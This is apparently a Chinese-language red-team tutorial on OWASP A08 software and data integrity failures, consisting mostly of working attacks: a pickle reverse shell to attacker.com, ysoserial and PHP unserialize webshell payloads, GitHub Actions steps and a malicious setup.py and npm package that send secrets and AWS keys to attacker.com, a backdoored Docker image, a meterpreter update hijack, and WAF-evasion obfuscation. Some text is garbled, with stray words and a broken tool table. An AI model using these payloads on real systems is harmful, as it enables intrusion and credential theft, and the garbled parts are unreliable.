前言
"不安全的不是代码,而是信任的边界。"
上一期我们从防御者视角分析了软件和数据完整性失败的原理与分类。本期切换到攻击者视角,深度解析 A08 各类别的实战利用技术。
在真实的红队行动和渗透测试中,针对软件完整性的攻击往往具有极高的 ROI(投资回报率):一次成功的 CI/CD 供应链投毒,可以让数百个下游目标同时沦陷。以下将从攻击者的角度,逐类剖析利用手法与绕过技巧。
一、不安全反序列化:代码执行的捷径
1.1 Python pickle 反序列化利用
原理回顾:
Python 的 pickle 模块在反序列化时,如果对象定义了 __reduce__ 方法,会在反序列化过程中自动调用该方法返回的元组 (callable, args),从而触发任意代码执行。
靶场演示环境:
# 靶场:DVJA(Damn Vulnerable Java Application)序列化模块
# 目标:利用 pickle 反序列化执行系统命令
# 攻击者视角:发现目标使用 pickle 反序列化 Cookie 数据
# 目标应用代码(发现的漏洞点):
import pickle
import base64
@app.route('/profile')
def profile():
cookie_data = request.cookies.get('user_data')
if cookie_data:
# 直接反序列化 Cookie,从不验证签名
user = pickle.loads(base64.b64decode(cookie_data))
return render_template('profile.html', user=user)
构造恶意 Payload:
# Attacker Side:构造 pickle 反序列化 payload
import pickle
import base64
import os
classRCE:
def__reduce__(self):
# 反序列化时执行反弹 shell
cmd = "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
return (os.system, (cmd,))
# 生成 payload
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# 输出:gAWVjwEAAAA......
利用流程:
# 步骤1:生成 payload
python3 generate_pickle_payload.py
# gAWVjwEAAAA......
# 步骤2:在 Kali 上启动监听
nc -lvnp 4444
# 步骤3:携带恶意 Cookie 访问目标
curl -v http://target.com/profile \
-b "user_data=gAWVjwEAAAA......"
# 步骤4:获得反弹 shell
# (反弹成功,获得 www-data 权限)
1.2 Java 原生反序列化(Apache Commons Collections)
靶场环境:
目标使用 Apache Commons Collections 3.x,且 Web.config 启用了参数绑定(允许攻击者控制 Transformer 数组)。
ysoserial 工具实战:
# ysoserial:Java 反序列化漏洞利用工具
# 集合了多种 gadget chain,自动寻找从反序列化到 RCE 的调用链
# 靶场:JBoss AS 5.x/6.x(默认开启 HTTP Invoker)
# 目标:执行 ysoserial 生成的反序列化 payload
# 步骤1:确认目标
curl -I http://target:8080/
# HTTP/1.1 200 OK
# X-Application: 6.1.0战士
# Server: Apache-Coyote/1.1
# 步骤2:使用 ysoserial 生成 CommonsCollections6 gadget
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned_by_ysoserial" > payload.ser
# 步骤3:发送 payload 到目标
# 方式A:通过 HTTP Invoker(JBoss)
curl -T payload.ser http://target:8080/invoker/JMXInvokerServlet
# 方式B:通过 REST API
curl -X POST http://target:8080/api/deserialize \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.ser
# 方式C:通过 JSON API(部分目标支持)
curl -X POST http://target:8080/api/secure/data \
-H "Content-Type: application/json" \
-d '{"obj":"gANj..."}'# base64编码的序列化对象
# 步骤4:验证命令执行
# 方式A:写 Webshell 验证
java -jar ysoserial.jar CommonsCollections6 \
"echo '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/html/shell.php" > cmd.ser
# 方式B:确认文件被创建
curl http://target/shell.php?cmd=id
# uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
ysoserial 支持的 Gadget Chain:
1.3 PHP unserialize 利用
Magic Method 触发链:
PHP 反序列化漏洞的核心是 __wakeup()、__destruct()、__toString() 等魔术方法在反序列化时自动触发。
<!-- 靶场:某 CMS 插件反序列化 API -->
<!-- 漏洞代码(api.php):-->
<?php
classLogWriter{
public $filename;
public $data;
function__destruct(){
// 析构时写入文件,filename 可控导致任意文件写入
file_put_contents($this->filename, $this->data);
}
}
classConfig{
public $cache_dir = "/tmp/";
public $settings;
function__wakeup(){
// 反序列化后自动加载配置
foreach ($this->settings as $key => $value) {
// 没有任何过滤,settings 可控
$this->settings[$key] = stripslashes($value);
}
}
}
# 攻击者构造 payload:
<?php
classLogWriter{
public $filename = "/var/www/html/shell.php";
public $data = "<?php system(\$_GET['cmd']); ?>";
}
echo serialize(new LogWriter());
# O:9:"LogWriter":2:{s:8:"filename";s:26:"/var/www/html/shell.php";s:4:"data";s:36:"<?php system(\$_GET['cmd']); ?>";}
# 利用:
curl -X POST http://target/api.php \
-d "data=O:9:\"LogWriter\":2:{s:8:\"filename\";s:26:\"/var/www/html/shell.php\";s:4:\"data\";s:36:\"<?php system(\$_GET['cmd']); ?>\";}"
二、CI/CD 供应链攻击实战
2.1 GitHub Actions 工作流注入
攻击面:
GitHub Actions 的 pull_request_target 触发器是一个经典攻击面。当一个 PR 触发工作流时,工作流运行在合并后的目标分支上下文中,此时的 GITHUB_TOKEN 拥有写入权限。如果攻击者在 PR 的代码中注入恶意步骤,可以窃取 secrets 和 repo 权限。
GitHub Actions 工作流注入演示:
# .github/workflows/ci.yml(正常配置)
name: CI
on:
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run tests
run: npm test
# 攻击者提交 PR 时注入恶意步骤:
# 恶意 PR 的 .github/workflows/ci.yml(看起来是正常的测试配置)
name: CI
on:
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3 # 正常步骤
- name: Run tests
run: |
# 看起来是测试命令,实际窃取 secrets
echo "${{ secrets.GITHUB_TOKEN }}"
# 遍历所有 repo secrets 并外传
for key in $(env | grep -i secret | cut -d= -f1); do
echo "Leaking: $key = ${!key}"
curl -X POST https://attacker.com/exfil \
-d "key=$key&val=${!key}"
done
# 上传完整 CI 环境变量供后续攻击
env > /tmp/ci_env.txt
curl -X POST https://attacker.com/upload \
-F "file=@/tmp/ci_env.txt"
npm test
真实案例复现(Homebrew 攻击链):
# 攻击者向 Homebrew-core 提交正常 PR
# PR 通过审查被合并后,触发 brew bump-formula-pr workflow
# 该 workflow 运行在 Homebrew 官方的 GitHub token 上下文中
# 攻击者通过 PR 代码注入:
# 在 formula 的版本更新步骤中,额外执行:
curl -s https://api.github.com/repos/Homebrew/brew/actions/secrets \
-H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
| jq '.secrets[].name'
# 窃取所有 Actions secrets(API tokens、PyPI tokens 等)
2.2 PyPI 依赖投毒(Typosquatting)
攻击原理:
攻击者在 PyPI 上注册与热门包名称相近的包名(如 requesets vs requests),等待开发者输错包名后自动安装。
# 靶场演示:构建一个依赖投毒包
# 步骤1:分析目标依赖
# 在 requirements.txt 中发现项目使用了:
# requesets==2.28.0 ← 攻击者的 typosquatting 包
# 步骤2:构建恶意包
mkdir malpkg && cd malpkg
cat > setup.py << 'EOF'
from setuptools import setup
import os
# 在安装时执行(setup.py hook)
os.system("""
curl -X POST https://attacker.com/exfil \
-d "hostname=$(hostname)" \
-d "user=$(whoami)" \
-d "pwd=$(pwd)" \
-d "env=$(env | tr ' ''\\n' | base64)"
""")
EOF
setup(
name='requesets',
version='2.28.0',
# 与官方 requests 包版本号保持一致,增加迷惑性
install_requires=[
'certifi', 'charset-normalizer', 'idna', 'urllib3'
],
)
大规模自动化 Typosquatting 攻击:
#!/usr/bin/env python3
# automate_typosquatting.py
# 自动扫描 PyPI 流行包并注册近似域名
import requests
from Levenshtein import distance
TOP_PACKAGES = requests.get("https://hugovk.github.io/top-pypi-packages/top-pypi-packages-30-days.min.json").json()
TYPO_STRATEGIES = [
lambda s: s + 's', # requests → requestss
lambda s: s[:-1], # requests → reques
lambda s: s.replace('s', 'z'), # requests → requesz
lambda s: s.replace('i', '1'), # requests → reques1s
lambda s: s.replace('e', '3'), # requests → r3qu3sts
lambda s: s.replace('o', '0'), # requests → r0quests
]
defsuggest_typosquat_targets(packages, top_n=100):
suggestions = []
for pkg in packages[:top_n]:
name = pkg['name']
for strategy in TYPO_STRATEGIES:
typo_name = strategy(name)
# 检查是否已被注册
resp = requests.get(f"https://pypi.org/pypi/{typo_name}/json")
if resp.status_code == 404:
suggestions.append((name, typo_name))
return suggestions
# 已知被成功利用的案例:
# requests → requesets(窃取 AWS keys)
#牛仔 → discorcd(窃取 Discord tokens)
# python-dev → pythont-dev(植入挖矿程序)
# misaka → mitsaka(窃取 CI 环境变量)
2.3 Docker Hub 镜像投毒
攻击场景:
攻击者向公共 Docker 镜像仓库上传包含后门的恶意镜像,镜像名称与流行镜像相近(如 nginx-static vs nginx)。
# 步骤1:分析目标 Dockerfile
# 目标使用:FROM nginx:1.21
# 步骤2:制作恶意镜像
cat > Dockerfile << 'EOF'
FROM nginx:1.21
# 在官方镜像基础上添加后门
RUN apt-get update && \
apt-get install -y wget curl netcat && \
wget https://attacker.com/backdoor.sh -O /usr/local/bin/backdoor && \
chmod +x /usr/local/bin/backdoor && \
echo"*/5 * * * * root /usr/local/bin/backdoor" >> /etc/crontab
# 清理痕迹
RUN apt-get clean && rm -rf /var/lib/apt/lists/*
EOF
# 步骤3:构建并推送
docker build -t nginx:1.21-fixed .
docker tag nginx:1.21-fixed attacker-registry.com/mediocre/nginx:1.21
docker push attacker-registry.com/mediocre/nginx:1.21
# 步骤4:攻击者注册与 Docker Hub 域名相近的账户
# "docker.io" → "dockerio.com" 混淆后诱导用户拉取恶意镜像
# 真实利用方式:
# 在 CI/CD 管道中,如果使用了不安全的镜像拉取配置
# docker pull nginx:1.21 可能被 DNS 劫持重定向到恶意仓库
三、不安全自动更新利用
3.1 中间人攻击替换更新包
靶场场景:
目标应用在企业内网部署,更新检查通过 HTTP(无 TLS)进行,攻击者处于同一内网。
# 靶场环境:某 ERP 系统自动更新模块
# 发现更新接口:
# GET http://update.erp.local/check?version=2.1.0
# Response: {"latest":"2.2.0","url":"http://update.erp.local/releases/erp-2.2.0.msi"}
# 步骤1:ARP 欺骗 + DNS 投毒
# 让 update.erp.local 解析到攻击者控制的服务器
ettercap -T -M arp:remote -i eth0 /192.168.1.1/ /192.168.1.100/
# 或使用 bettercap
bettercap -caplet http.spider -eval"set http.proxy.chain; set arp.spoof.targets 192.168.1.100"
# 步骤2:搭建恶意更新服务器
# 在攻击者机器上启动 HTTP 服务器,放置恶意更新包
mkdir -p /var/www/html/releases
cp evil_update.msi /var/www/html/releases/erp-2.2.0.msi
# 恶意更新包内含:添加隐藏管理员账户
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=attacker.com LPORT=4444 -f msi > /var/www/html/releases/erp-2.2.0.msi
# 步骤3:响应更新查询,返回恶意 URL
# 当目标请求版本时,篡改响应:
# 原始响应:{"latest":"2.2.0","url":"http://update.erp.local/releases/erp-2.2.0.msi"}
# 篡改后:{"latest":"2.2.0","url":"http://attacker.com/releases/erp-2.2.0.msi"}
# 步骤4:监听并获得 shell
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST attacker.com; \
run"
3.2 签名绕过:利用过时公钥
攻击场景:
目标的自动更新模块硬编码了一个公钥来验证更新签名,但该公钥对应的私钥已泄露。
# 场景:某路由固件使用 RSA 公钥验证签名
# 固件更新流程:
# 1. 下载 .bin 文件 + .sig 签名文件
# 2. 使用硬编码公钥验签
# 3. 验签通过则写入 Flash
# 步骤1:提取固件中的硬编码公钥
binwalk -e firmware.bin
# 在解压缩的 /etc/update/ 中发现 public.pem
# 步骤2:使用泄露的私钥重新签名恶意固件
# 私钥泄露途径:
# - GitHub 搜索 "private.pem" (开发者错误上传)
# - 固件中逆向提取私钥
# - 旧版本固件中包含私钥(曾经错误打包)
openssl dgst -sha256 -sign private.pem evil_firmware.bin > evil_firmware.sig
# 步骤3:分发恶意固件
# 将恶意固件和签名上传到攻击者控制的服务器
# 修改 updater 的 hosts 文件或 DNS,将 update.target.com 指向恶意服务器
# 步骤4:目标下载并自动安装
# 自动更新器验证签名 → 使用硬编码公钥验签 → 通过 → 安装恶意固件
# 攻击者获得路由器 root 权限
四、依赖混淆攻击实战
4.1 npm 内部包名混淆
攻击原理:
企业内部维护的私有 npm 包(@company/internal-lib),如果只发布在私有仓库,但 npm 的包解析逻辑会按一定顺序搜索多个 registry。攻击者可以抢注同名公网包。
# 靶场场景:某企业前端项目使用内部包
# package.json 中声明:
# "@mycorp/auth-sdk": "file:./libs/auth-sdk"
#
# 但在某个 CI 脚本中使用了:
# npm install @mycorp/auth-sdk@latest --save
# CI 配置了 .npmrc:
# registry=https://registry.npmjs.org/
# → 不会优先使用私有 registry
# 步骤1:攻击者抢注 @mycorp/auth-sdk
npm login --registry https://registry.npmjs.org/
npm publish --access public \
--registry https://registry.npmjs.org/ \
--tag latest
# 步骤2:在公网包中植入恶意代码
cat > index.js << 'EOF'
// 在初始化时窃取环境变量
const fs = require('fs');
const https = require('https');
const exfil = {
hostname: process.env.HOSTNAME,
platform: process.platform,
cwd: process.cwd(),
env: {
AWS_ACCESS_KEY_ID: process.env.AWS_ACCESS_KEY_ID,
AWS_SECRET_ACCESS_KEY: process.env.AWS_SECRET_ACCESS_KEY,
NPM_TOKEN: process.env.NPM_TOKEN,
CI_DEPLOY_KEY: process.env.CI_DEPLOY_KEY
}
};
// 将窃取的数据外传
const data = JSON.stringify(exfil);
https.request({
hostname: 'attacker.com',
port: 443,
path: '/collect',
method: 'POST'
}, () => {}).end(data);
// 正常导出模块(保持功能正常,增加隐蔽性)
module.exports = { init: () => {}, check: () => true };
EOF
# 步骤3:CI/CD 管道安装依赖时自动拉取恶意版本
# npm install @mycorp/auth-sdk --save
# → npm 在公网 registry 找到同名包,下载并安装
# → CI 环境变量(AWS keys、部署密钥)被窃取
五、实战工具链总结
pickle4 | ||
ysoserial | ||
phpggc | ||
typosquatting-finder | ||
divetrivy | ||
oss-commandersneaky-scopes | ||
CI/CD GoatSecureFlag |
六、绕过检测的高级技巧
6.1 混淆序列化 Payload
许多 WAF 和 IPS 会检测已知的反序列化攻击特征字符串(如 Class.forName、ProcessImpl、bash -i)。高级攻击者会使用编码和混淆来绕过检测:
# 编码混淆示例
import base64
import pickle
classExploit:
def__reduce__(self):
import os
# 原始命令:os.system('id > /tmp/pwned')
# base64 编码绕过字符串特征检测
cmd = "aWQ+PXRtcC9wd25lZA=="# base64('id>/tmp/pwned')
# 解码执行
return (eval, (f"__import__('os').system(__import__('base64').b64decode('{cmd}').decode())",))
payload = pickle.dumps(Exploit())
# base64 再次编码
final = base64.b64encode(payload).decode()
6.2 利用 CI/CD 合法功能做隐蔽外传
# 攻击者提交一个看似正常的 CI 配置
# 在 PR 中利用 GitHub Actions 的合法 artifact 上传功能
name: PR Tests
on: [pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run tests
run: npm test
# 看起来是测试结果存档,实际是数据外传
- name: Upload secrets
run: |
zip -r artifacts.zip ${{ secrets.* }} 2>/dev/null || true
# 如果 secrets 无法直接访问,遍历环境变量
env | grep -i token > tokens.txt
curl -X POST https://attacker.com/upload \
-F "repo=${{ github.repository }}" \
-F "pr=${{ github.event.pull_request.number }}" \
-F "data=@tokens.txt"
七、实战利用检查清单
在渗透测试和红队行动中,针对软件和数据完整性失败的检查流程:
[] 信息收集阶段
├── 识别目标使用的序列化库(Python/Java/PHP/.NET)
├── 检查代码仓库中的依赖声明(requirements.txt/pom.xml/package.json)
├── 枚举 CI/CD 配置(.github/workflows/, Jenkinsfile, .gitlab-ci.yml)
├── 扫描 Docker 镜像来源(Dockerfile 中的 FROM 指令)
└── 检查自动更新机制(HTTP/HTTPS、更新签名方式)
[] 反序列化利用
├── 寻找用户可控的序列化数据入口(Cookie/POST body/API)
├── 使用对应工具生成 gadget chain payload
├── 尝试编码/混淆绕过 WAF
└── 验证命令执行(写 webshell/反弹 shell)
[] 供应链攻击
├── Typosquatting 检测(注册相近域名等待目标中招)
├── GitHub Actions 权限枚举(pull_request_target 攻击面)
├── 内部包名抢注(依赖混淆)
└── 第三方 CI/CD 环节入侵
[] 自动更新攻击
├── HTTP 更新通道检测(中间人攻击可行性)
├── 硬编码公钥提取与私钥滥用
├── DNS 劫持更新服务器
└── 版本号绕过(降级攻击)
结语
软件和数据完整性失败的实战利用,本质上是一场关于信任的博弈。攻击者不需要正面突破你的防御系统,只需要找到你信任的那个环节——上游代码、构建工具、更新服务器——然后从那里撕开一道口子。
下一期我们将进入防御方案篇,从 CI/CD 管道加固、软件签名、依赖审计、更新安全等多个维度,构建完整的完整性保护体系。
下期预告:第17期第3篇 — 软件和数据完整性失败·防御方案,将覆盖 SLSA 框架、Sigstore 签名、SBOM 生成、依赖扫描等实战防御技术。
📚 参考框架
🛡️ 理论先行,实践跟进
⚠️ 提示:本文仅供网络安全学习研究使用。所有技术方案应在获得合法授权的范围内使用。未授权的安全测试违反中国《网络安全法》及相关法规。
夜雨聆风